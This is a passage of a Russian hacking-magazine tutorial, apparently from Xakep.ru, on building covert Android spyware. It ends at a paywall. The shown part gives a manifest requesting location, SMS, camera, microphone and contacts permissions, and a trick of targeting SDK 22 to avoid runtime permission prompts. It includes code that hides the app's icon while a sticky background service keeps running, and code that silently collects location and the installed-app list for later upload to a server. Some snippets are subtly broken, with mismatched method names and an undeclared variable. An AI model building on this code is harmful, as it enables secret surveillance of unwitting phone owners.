Содержание статьи
Итак, наша задача — разобраться, как работают современные зловредные приложения. А лучший способ это сделать — посмотреть, как создается похожий софт. Как и боевой зловред, наш пример при желании сможет наблюдать за целевым устройством и передавать информацию о нем на сервер.
Возможности будут следующие:
- сбор информации о местоположении;
- получение списка установленных приложений;
- получение СМС;
- запись аудио;
- съемка задней или фронтальной камерой.
Все это приложение будет отправлять на удаленный сервер, где мы сможем проанализировать результаты его работы.
WARNING
Важно! Создание и распространение вредоносных программ карается лишением свободы до четырех лет (статья 273). Мы не хотим, чтобы ты сломал себе жизнь в местах не столь отдаленных, поэтому публикуем статью исключительно в образовательных целях. Ведь лучший способ разобраться в работе зловредного ПО — это узнать, как оно создается.
Каркас
По понятным причинам я не смогу привести полный код приложения в статье, поэтому некоторые задачи тебе придется выполнить самому (для этого потребуются кое-какие знания в разработке приложений для Android).
На этом этапе задача следующая: создать приложение с пустым (или просто безобидным) интерфейсом. Сразу после запуска приложение скроет свою иконку, запустит сервис и завершится (сервис при этом будет продолжать работать).
Начнем. Создай приложение, указав в манифесте следующие разрешения:
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.READ_SMS" />
В build.gradle
укажи compileSdkVersion 22
и targetSdkVersion 22
. Так ты избавишь приложение от необходимости запрашивать разрешения во время работы (22 — это Android 5.1, обязательный запрос разрешений появился в 23 — Android 6.0, но работать приложение будет в любой версии).
Создай пустую Activity и Service. В метод onStartCommand сервиса добавь строку return Service.START_STICKY
. Это заставит систему перезапускать его в случае непреднамеренного завершения.
Добавь их описание в манифест (здесь и далее наше приложение будет называться com.example.app):
<activity
android:name="com.example.app.MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service
android:name="com.example.app.MainService"
android:enabled="true"
android:exported="false">
</service>
Всю злобную работу мы будем делать внутри сервиса, поэтому наша Activity будет очень проста:
void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState)
// Запускаем сервис
startService(new Intent(this, MainService.class));
// Отключаем Activity
ComponentName cn = new ComponentName("com.example.app", "com.example.app.MainActivity");
pm.setComponentEnabledSetting(cn, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
}
Этот код запустит сервис сразу после запуска приложения и отключит активность. Побочным эффектом последнего действия станет завершение приложения и исчезновение иконки из лаунчера. Сервис продолжит работу.
Информация о местоположении
Теперь мы должны добавить в сервис код, который будет собирать интересующую нас информацию.
Начнем с определения местоположения. В Android есть несколько способов получить текущие координаты устройства: GPS, по сотовым вышкам, по Wi-Fi-роутерам. И с каждым из них можно работать двумя способами: либо попросить систему определить текущее местоположение и вызвать по окончании операции наш колбэк, либо спросить ОС о том, какие координаты были получены в последний раз (в результате запросов на определение местоположения от других приложений, например).
В нашем случае второй способ намного удобнее. Он быстрый, абсолютно незаметен для пользователя (не приводит к появлению иконки в строке состояния) и не жрет аккумулятор. Кроме того, его очень просто использовать:
Location getLastLocation(Context context) {
LocationManager lManager = (LocationManager) context.getSystemService(Context.LOCATION_SERVICE);
android.location.Location locationGPS = lManager.getLastKnownLocation(LocationManager.GPS_PROVIDER);
android.location.Location locationNet = lManager.getLastKnownLocation(LocationManager.NETWORK_PROVIDER);
long GPSLocationTime = 0;
if (null != locationGPS) { GPSLocationTime = locationGPS.getTime(); }
long NetLocationTime = 0;
if (null != locationNet) { NetLocationTime = locationNet.getTime(); }
Location loc;
if ( 0 < GPSLocationTime - NetLocationTime ) {
loc = locationGPS;
} else {
loc = locationNet;
}
if (loc != null) {
return loc;
} else {
return null;
}
}
Данная функция спрашивает систему о последних координатах, полученных с помощью определения местоположения по сотовым вышкам и по GPS, затем берет самые свежие данные и возвращает их в форме объекта Location.
Далее можно извлечь широту и долготу и записать их в файл внутри приватного каталога нашего приложения:
Location loc = getLastKnownLocation(context)
String locationFile = context.getApplicationInfo().dataDir + "/location"
try {
OutputStreamWriter outputStreamWriter = new OutputStreamWriter(context.openFileOutput(locationFile, Context.MODE_PRIVATE));
outputStreamWriter.write(loc.getLatitude() + " " + loc.getLongitude);
outputStreamWriter.close();
}
catch (IOException e) {}
Когда придет время отправлять данные на сервер, мы просто отдадим ему этот и другие файлы.
Список установленных приложений
Получить список установленных приложений еще проще:
void dumpSMS(Context context) {
String appsFile = context.getApplicationInfo().dataDir + "/apps"
final PackageManager pm = context.getPackageManager();
List<ApplicationInfo> packages = pm.getInstalledApplications(PackageManager.GET_META_DATA);
try {
PrintWriter pw = Files.writeLines(appsFile);
for (ApplicationInfo packageInfo : packages) {
if (!isSystemPackage(packageInfo))
pw.println(pm.getApplicationLabel(packageInfo) + ": " + packageInfo.packageName);
}
pw.close();
} catch (IOException e) {}
}
private boolean isSystemPackage(ApplicationInfo applicationInfo) {
return ((applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0);
}
Метод получает список всех приложений и сохраняет его в файл apps внутри приватного каталога приложения.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»